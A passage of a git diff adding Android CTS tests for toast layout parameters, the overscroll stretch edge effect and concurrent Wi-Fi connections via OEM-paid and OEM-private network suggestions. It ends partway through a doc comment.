@@ -1126,19 +913,6 @@
         });
     }
 
-    private Bitmap takeScreenshot(int screenPositionX, int screenPositionY, int width, int height) {
-        SynchronousPixelCopy copy = new SynchronousPixelCopy();
-        Bitmap dest = Bitmap.createBitmap(
-                width, height,
-                mActivity.getWindow().isWideColorGamut()
-                        ? Bitmap.Config.RGBA_F16 : Bitmap.Config.ARGB_8888);
-        Rect srcRect = new Rect(0, 0, width, height);
-        srcRect.offset(screenPositionX, screenPositionY);
-        int copyResult = copy.request(mActivity.getWindow(), srcRect, dest);
-        assertEquals(PixelCopy.SUCCESS, copyResult);
-        return dest;
-    }
-
     private boolean isInRange(int current, int from, int to) {
         if (from < to) {
             return current >= from && current <= to;
diff --git a/tests/tests/widget/src/android/widget/cts/ToastPresenterTest.java b/tests/tests/widget/src/android/widget/cts/ToastPresenterTest.java
new file mode 100644
index 0000000..70f03a70
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/ToastPresenterTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.INotificationManager;
+import android.content.Context;
+import android.os.Binder;
+import android.os.ServiceManager;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.accessibility.IAccessibilityManager;
+import android.widget.FrameLayout;
+import android.widget.ToastPresenter;
+
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ToastPresenterTest {
+    private static final String PACKAGE_NAME = "pkg";
+
+    private Context mContext;
+    private ToastPresenter mToastPresenter;
+
+    @Before
+    public void setup() {
+        mContext = getInstrumentation().getContext();
+
+        mToastPresenter = new ToastPresenter(
+                mContext,
+                IAccessibilityManager.Stub.asInterface(
+                        ServiceManager.getService(Context.ACCESSIBILITY_SERVICE)),
+                INotificationManager.Stub.asInterface(
+                        ServiceManager.getService(Context.NOTIFICATION_SERVICE)),
+                PACKAGE_NAME);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testUpdateLayoutParams() {
+        View view = new FrameLayout(mContext);
+        Binder token = new Binder();
+        Binder windowToken = new Binder();
+        mToastPresenter.show(view, token, windowToken, 0, 0, 0, 0, 0, 0, null);
+        mToastPresenter.updateLayoutParams(1, 2, 3, 4, 0);
+
+        WindowManager.LayoutParams lp = (WindowManager.LayoutParams) view.getLayoutParams();
+        assertEquals(1, lp.x);
+        assertEquals(2, lp.y);
+        assertEquals(3, (int) lp.horizontalMargin);
+        assertEquals(4, (int) lp.verticalMargin);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/util/StretchEdgeUtil.kt b/tests/tests/widget/src/android/widget/cts/util/StretchEdgeUtil.kt
new file mode 100644
index 0000000..8520f44
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/util/StretchEdgeUtil.kt
@@ -0,0 +1,405 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+@file:JvmName("StretchEdgeUtil")
+
+package android.widget.cts.util
+
+import android.graphics.Bitmap
+import android.graphics.Color
+import android.graphics.Rect
+import android.os.SystemClock
+import android.view.PixelCopy
+import android.view.View
+import android.view.Window
+import android.view.animation.AnimationUtils
+import androidx.test.InstrumentationRegistry
+import androidx.test.rule.ActivityTestRule
+import com.android.compatibility.common.util.CtsTouchUtils
+import com.android.compatibility.common.util.CtsTouchUtils.EventInjectionListener
+import com.android.compatibility.common.util.SynchronousPixelCopy
+import org.junit.Assert
+
+/* ---------------------------------------------------------------------------
+ * This file contains utility functions for testing the overscroll stretch
+ * effect. Containers are 90 x 90 pixels and contains colored rectangles
+ * that are 90 x 50 pixels (or 50 x 90 pixels for horizontal containers).
+ *
+ * The first rectangle must be Color.BLUE and the last rectangle must be
+ * Color.MAGENTA.
+ * ---------------------------------------------------------------------------
+ */
+
+/**
+ * This sleeps until the [AnimationUtils.currentAnimationTimeMillis] changes
+ * by at least `durationMillis` milliseconds. This is useful for EdgeEffect because
+ * it uses that mechanism to determine the animation duration.
+ *
+ * @param durationMillis The time to sleep in milliseconds.
+ */
+private fun sleepAnimationTime(durationMillis: Long) {
+    val startTime = AnimationUtils.currentAnimationTimeMillis()
+    var currentTime = startTime
+    val endTime = startTime + durationMillis
+    do {
+        Thread.sleep(endTime - currentTime)
+        currentTime = AnimationUtils.currentAnimationTimeMillis()
+    } while (currentTime < endTime)
+}
+
+/**
+ * Takes a screen shot at the given coordinates and returns the Bitmap.
+ */
+private fun takeScreenshot(
+    window: Window,
+    screenPositionX: Int,
+    screenPositionY: Int,
+    width: Int,
+    height: Int
+): Bitmap {
+    val copy = SynchronousPixelCopy()
+    val dest = Bitmap.createBitmap(
+            width, height,
+            if (window.isWideColorGamut()) Bitmap.Config.RGBA_F16 else Bitmap.Config.ARGB_8888)
+    val srcRect = Rect(0, 0, width, height)
+    srcRect.offset(screenPositionX, screenPositionY)
+    val copyResult: Int = copy.request(window, srcRect, dest)
+    Assert.assertEquals(PixelCopy.SUCCESS.toLong(), copyResult.toLong())
+    return dest
+}
+
+/**
+ * Drags an area of the screen and executes [onFinalMove] after sending the final drag
+ * motion and [onUp] after the drag up event has been sent.
+ */
+private fun dragAndExecute(
+    activityRule: ActivityTestRule<*>,
+    screenX: Int,
+    screenY: Int,
+    deltaX: Int,
+    deltaY: Int,
+    onFinalMove: () -> Unit = {},
+    onUp: () -> Unit = {}
+) {
+    val instrumentation = InstrumentationRegistry.getInstrumentation()
+    CtsTouchUtils.emulateDragGesture(instrumentation, activityRule,
+            screenX,
+            screenY,
+            deltaX,
+            deltaY,
+            50,
+            10,
+            object : EventInjectionListener {
+                private var mNumEvents = 0
+                override fun onDownInjected(xOnScreen: Int, yOnScreen: Int) {}
+                override fun onMoveInjected(xOnScreen: IntArray, yOnScreen: IntArray) {
+                    mNumEvents++
+                    if (mNumEvents == 10) {
+                        onFinalMove()
+                    }
+                }
+
+                override fun onUpInjected(xOnScreen: Int, yOnScreen: Int) {
+                    onUp()
+                }
+            })
+}
+
+/**
+ * Drags inside [view] starting at coordinates ([viewX], [viewY]) relative to [view] and moving
+ * ([deltaX], [deltaY]) pixels before lifting. A Bitmap is captured after the final drag event,
+ * before the up event.
+ * @return A Bitmap of [view] after the final drag motion event.
+ */
+private fun dragAndCapture(
+    activityRule: ActivityTestRule<*>,
+    view: View,
+    viewX: Int,
+    viewY: Int,
+    deltaX: Int,
+    deltaY: Int
+): Bitmap {
+    var bitmap: Bitmap? = null
+    val locationOnScreen = IntArray(2)
+    activityRule.runOnUiThread {
+        view.getLocationOnScreen(locationOnScreen)
+    }
+
+    val screenX = locationOnScreen[0]
+    val screenY = locationOnScreen[1]
+
+    dragAndExecute(
+            activityRule = activityRule,
+            screenX = screenX + viewX,
+            screenY = screenY + viewY,
+            deltaX = deltaX,
+            deltaY = deltaY,
+            onFinalMove = {
+                bitmap = takeScreenshot(
+                        activityRule.activity.window,
+                        screenX,
+                        screenY,
+                        view.width,
+                        view.height
+                )
+            }
+    )
+    return bitmap!!
+}
+
+/**
+ * Drags in [view], starting at coordinates ([viewX], [viewY]) relative to [view] and moving
+ * ([deltaX], [deltaY]) pixels before lifting. Immediately after the up event, a down event
+ * is sent. If it happens within 400 milliseconds of the last motion event, the Bitmap is captured
+ * after 600ms more. If an animation was going to run, this allows that animation to finish before
+ * capturing the Bitmap. This is attempted up to 5 times.
+ *
+ * @return A Bitmap of [view] after the drag, release, then tap and hold, or `null` if the
+ * device did not respond quickly enough.
+ */
+private fun dragHoldAndCapture(
+    activityRule: ActivityTestRule<*>,
+    view: View,
+    viewX: Int,
+    viewY: Int,
+    deltaX: Int,
+    deltaY: Int
+): Bitmap? {
+    val locationOnScreen = IntArray(2)
+    activityRule.runOnUiThread {
+        view.getLocationOnScreen(locationOnScreen)
+    }
+
+    val screenX = locationOnScreen[0]
+    val screenY = locationOnScreen[1]
+
+    val instrumentation = InstrumentationRegistry.getInstrumentation()
+
+    // Try 5 times at most. If it fails, just return the null bitmap
+    repeat(5) {
+        var lastMotion = 0L
+        var bitmap: Bitmap? = null
+        dragAndExecute(
+                activityRule = activityRule,
+                screenX = screenX + viewX,
+                screenY = screenY + viewY,
+                deltaX = deltaX,
+                deltaY = deltaY,
+                onFinalMove = {
+                    lastMotion = AnimationUtils.currentAnimationTimeMillis()
+                },
+                onUp = {
+                    // Now press
+                    CtsTouchUtils.injectDownEvent(instrumentation.getUiAutomation(),
+                            SystemClock.uptimeMillis(), screenX,
+                            screenY, null)
+
+                    val downInjected = AnimationUtils.currentAnimationTimeMillis()
+
+                    // The receding time is 600 ms, but we don't want to be near the final
+                    // part of the animation when the pixels may overlap.
+                    if (downInjected - lastMotion < 400) {
+                        // Now make sure that we wait until the release should normally have finished:
+                        sleepAnimationTime(600)
+
+                        bitmap = takeScreenshot(
+                                activityRule.activity.window,
+                                screenX,
+                                screenY,
+                                view.width,
+                                view.height
+                        )
+                    }
+                }
+        )
+
+        CtsTouchUtils.injectUpEvent(instrumentation.getUiAutomation(),
+                SystemClock.uptimeMillis(), false,
+                screenX, screenY, null)
+
+        if (bitmap != null) {
+            return bitmap // success!
+        }
+    }
+    return null // timing didn't allow for success this time, so return a null
+}
+
+/**
+ * Drags down on [view] and ensures that the blue rectangle is stretched to beyond its normal
+ * size.
+ */
+fun dragDownStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragAndCapture(
+            activityRule,
+            view,
+            0,
+            0,
+            0,
+            50
+    )
+
+    // The blue should stretch beyond its normal dimensions
+    return bitmap.getPixel(45, 52) == Color.BLUE
+}
+
+/**
+ * Drags right on [view] and ensures that the blue rectangle is stretched to beyond its normal
+ * size.
+ */
+fun dragRightStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragAndCapture(
+            activityRule,
+            view,
+            0,
+            0,
+            50,
+            0
+    )
+
+    // The blue should stretch beyond its normal dimensions
+    return bitmap.getPixel(52, 45) == Color.BLUE
+}
+
+/**
+ * Drags up on [view] and ensures that the magenta rectangle is stretched to beyond its normal
+ * size.
+ */
+fun dragUpStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragAndCapture(
+            activityRule,
+            view,
+            0,
+            89,
+            0,
+            -50
+    )
+
+    // The magenta should stretch beyond its normal dimensions
+    return bitmap.getPixel(45, 38) == Color.MAGENTA
+}
+
+/**
+ * Drags left on [view] and ensures that the magenta rectangle is stretched to beyond its normal
+ * size.
+ */
+fun dragLeftStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragAndCapture(
+            activityRule,
+            view,
+            89,
+            0,
+            -50,
+            0
+    )
+
+    // The magenta should stretch beyond its normal dimensions
+    return bitmap.getPixel(38, 45) == Color.MAGENTA
+}
+
+/**
+ * Drags down, then taps and holds to ensure that holding stops the stretch from receding.
+ * @return `true` if the hold event prevented the stretch from being released.
+ */
+fun dragDownTapAndHoldStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragHoldAndCapture(
+            activityRule,
+            view,
+            0,
+            0,
+            0,
+            89
+    ) ?: return true // when timing fails to get a bitmap, don't treat it as a flake
+
+    // The blue should stretch beyond its normal dimensions
+    return bitmap.getPixel(45, 52) == Color.BLUE
+}
+
+/**
+ * Drags right, then taps and holds to ensure that holding stops the stretch from receding.
+ * @return `true` if the hold event prevented the stretch from being released.
+ */
+fun dragRightTapAndHoldStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragHoldAndCapture(
+            activityRule,
+            view,
+            0,
+            0,
+            89,
+            0
+    ) ?: return true // when timing fails to get a bitmap, don't treat it as a flake
+
+    // The blue should stretch beyond its normal dimensions
+    return bitmap.getPixel(52, 45) == Color.BLUE
+}
+
+/**
+ * Drags up, then taps and holds to ensure that holding stops the stretch from receding.
+ * @return `true` if the hold event prevented the stretch from being released.
+ */
+fun dragUpTapAndHoldStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragHoldAndCapture(
+            activityRule,
+            view,
+            0,
+            89,
+            0,
+            -89
+    ) ?: return true // when timing fails to get a bitmap, don't treat it as a flake
+
+    // The magenta should stretch beyond its normal dimensions
+    return bitmap.getPixel(45, 38) == Color.MAGENTA
+}
+
+/**
+ * Drags left, then taps and holds to ensure that holding stops the stretch from receding.
+ * @return `true` if the hold event prevented the stretch from being released.
+ */
+fun dragLeftTapAndHoldStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragHoldAndCapture(
+            activityRule,
+            view,
+            89,
+            0,
+            -89,
+            0
+    ) ?: return true // when timing fails to get a bitmap, don't treat it as a flake
+
+    // The magenta should stretch beyond its normal dimensions
+    return bitmap.getPixel(38, 45) == Color.MAGENTA
+}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
new file mode 100644
index 0000000..b99028a
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
@@ -0,0 +1,449 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PAID;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PRIVATE;
+import static android.os.Process.myUid;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.location.LocationManager;
+import android.net.ConnectivityManager;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiNetworkSuggestion;
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiDevice;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+
+/**
+ * Tests multiple concurrent connection flow on devices that support multi STA concurrency
+ * (indicated via {@link WifiManager#isMultiStaConcurrencySupported()}.
+ *
+ * Tests the entire connection flow using {@link WifiNetworkSuggestion} which has
+ * {@link WifiNetworkSuggestion.Builder#setOemPaid(boolean)} or
+ * {@link WifiNetworkSuggestion.Builder#setOemPrivate(boolean)} set along with a concurrent internet
+ * connection using {@link WifiManager#connect(int, WifiManager.ActionListener)}.
+ *
+ * Note: This feature is only applicable on automotive platforms. So, the test is skipped for
+ * non-automotive platforms.
+ *
+ * Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
+ *
+ * TODO(b/177591382): Refactor some of the utilities to a separate file that are copied over from
+ * WifiManagerTest & WifiNetworkSpecifierTest.
+ *
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest extends WifiJUnit4TestBase {
+    private static final String TAG = "MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest";
+    private static boolean sWasVerboseLoggingEnabled;
+    private static boolean sWasScanThrottleEnabled;
+    private static boolean sWasWifiEnabled;
+
+    private Context mContext;
+    private WifiManager mWifiManager;
+    private ConnectivityManager mConnectivityManager;
+    private UiDevice mUiDevice;
+    private WifiConfiguration mTestNetworkForRestrictedConnection;
+    private WifiConfiguration mTestNetworkForInternetConnection;
+    private ConnectivityManager.NetworkCallback mNetworkCallback;
+    private ConnectivityManager.NetworkCallback mNsNetworkCallback;
+    private ScheduledExecutorService mExecutorService;
+    private TestHelper mTestHelper;
+
+    private static final int DURATION_MILLIS = 10_000;
+
+    private static boolean hasAutomotiveFeature(Context ctx) {
+        return ctx.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        // skip the test if WiFi is not supported or not automotive platform.
+        // Don't use assumeTrue in @BeforeClass
+        if (!WifiFeature.isWifiSupported(context) || !hasAutomotiveFeature(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertThat(wifiManager).isNotNull();
+
+        // turn on verbose logging for tests
+        sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isVerboseLoggingEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(true));
+        // Disable scan throttling for tests.
+        sWasScanThrottleEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isScanThrottleEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(false));
+
+        // enable Wifi
+        sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isWifiEnabled());
+        if (!wifiManager.isWifiEnabled()) {
+            ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.setWifiEnabled(true));
+        }
+        PollingCheck.check("Wifi not enabled", DURATION_MILLIS, () -> wifiManager.isWifiEnabled());
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!WifiFeature.isWifiSupported(context) || !hasAutomotiveFeature(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertThat(wifiManager).isNotNull();
+
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(sWasVerboseLoggingEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setWifiEnabled(sWasWifiEnabled));
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mWifiManager = mContext.getSystemService(WifiManager.class);
+        mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mExecutorService = Executors.newSingleThreadScheduledExecutor();
+        mTestHelper = new TestHelper(mContext, mUiDevice);
+
+        // skip the test if WiFi is not supported or not automitve platform.
+        assumeTrue(WifiFeature.isWifiSupported(mContext));
+        assumeTrue(hasAutomotiveFeature(mContext));
+        // skip the test if location is not supported
+        assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION));
+        // skip if multi STA not supported.
+        assumeTrue(mWifiManager.isMultiStaConcurrencySupported());
+
+        assertWithMessage("Please enable location for this test!").that(
+                mContext.getSystemService(LocationManager.class).isLocationEnabled()).isTrue();
+
+        // turn screen on
+        mTestHelper.turnScreenOn();
+
+        // Clear any existing app state before each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+
+        // We need 2 AP's for the test. If there are 2 networks saved on the device and in range,
+        // use those. Otherwise, check if there are 2 BSSID's in range for the only saved network.
+        // This assumes a CTS test environment with at least 2 connectable bssid's (Is that ok?).
+        List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.getPrivilegedConfiguredNetworks());
+        List<WifiConfiguration> matchingNetworksWithBssid =
+                TestHelper.findMatchingSavedNetworksWithBssid(mWifiManager, savedNetworks);
+        assertWithMessage("Need at least 2 saved network bssids in range").that(
+                matchingNetworksWithBssid.size()).isAtLeast(2);
+        // Pick any 2 bssid for test.
+        mTestNetworkForRestrictedConnection = matchingNetworksWithBssid.get(0);
+        // Try to find a bssid for another saved network in range. If none exists, fallback
+        // to using 2 bssid's for the same network.
+        mTestNetworkForInternetConnection = matchingNetworksWithBssid.stream()
+                .filter(w -> !w.SSID.equals(mTestNetworkForRestrictedConnection.SSID))
+                .findAny()
+                .orElse(matchingNetworksWithBssid.get(1));
+
+        // Disconnect & disable auto-join on the saved network to prevent auto-connect from
+        // interfering with the test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : savedNetworks) {
+                        mWifiManager.disableNetwork(savedNetwork.networkId);
+                    }
+                    mWifiManager.disconnect();
+                });
+
+        // Wait for Wifi to be disconnected.
+        PollingCheck.check(
+                "Wifi not disconnected",
+                20_000,
+                () -> mWifiManager.getConnectionInfo().getNetworkId() == -1);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Re-enable networks.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : mWifiManager.getConfiguredNetworks()) {
+                        mWifiManager.enableNetwork(savedNetwork.networkId, false);
+                    }
+                });
+        // Release the requests after the test.
+        if (mNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
+        }
+        if (mNsNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNsNetworkCallback);
+        }
+        mExecutorService.shutdownNow();
+        // Clear any existing app state after each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        mTestHelper.turnScreenOff();
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Connect to a network using restricted suggestion API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToOemPaidSuggestionWhenConnectedToInternetNetwork() throws Exception {
+        // First trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Now trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .setOemPaid(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                NET_CAPABILITY_OEM_PAID);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using restricted suggestion API.
+     * 2. Connect to a network using internet connectivity API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToInternetNetworkWhenConnectedToOemPaidSuggestion() throws Exception {
+        // First trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .setOemPaid(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                NET_CAPABILITY_OEM_PAID);
+
+        // Now trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Connect to a network using restricted suggestion API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToOemPrivateSuggestionWhenConnectedToInternetNetwork() throws Exception {
+        // First trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Now trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .setOemPrivate(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                NET_CAPABILITY_OEM_PRIVATE);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using restricted suggestion API.
+     * 2. Connect to a network using internet connectivity API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToInternetNetworkWhenConnectedToOemPrivateSuggestion() throws Exception {
+        // First trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .setOemPrivate(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                NET_CAPABILITY_OEM_PRIVATE);
+
+        // Now trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Simulate connection failure to a network using restricted suggestion API & different net
+     *    capability (need corresponding net capability requested for platform to connect).
+     * 3. Verify that only 1 connection is active.
+     */
+    @Test
+    public void testConnectToOemPaidSuggestionFailureWhenConnectedToInternetNetwork()
+            throws Exception {
+        // First trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Now trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .setOemPaid(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFailureFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                NET_CAPABILITY_OEM_PRIVATE);
+
+        // Ensure that there is only 1 connection available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(1);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Simulate connection failure to a network using restricted suggestion API & different net
+     *    capability (need corresponding net capability requested for platform to connect).
+     * 3. Verify that only 1 connection is active.
+     */
+    @Test
+    public void testConnectToOemPrivateSuggestionFailureWhenConnectedToInternetNetwork()
+            throws Exception {
+        // First trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Now trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .setOemPrivate(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFailureFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                NET_CAPABILITY_OEM_PAID);
+
+        // Ensure that there is only 1 connection available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(1);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Simulate connection failure to a restricted network using suggestion API & restricted net
+     *    capability (need corresponding restricted bit set in suggestion for platform to connect).
+     * 3. Verify that only 1 connection is active.
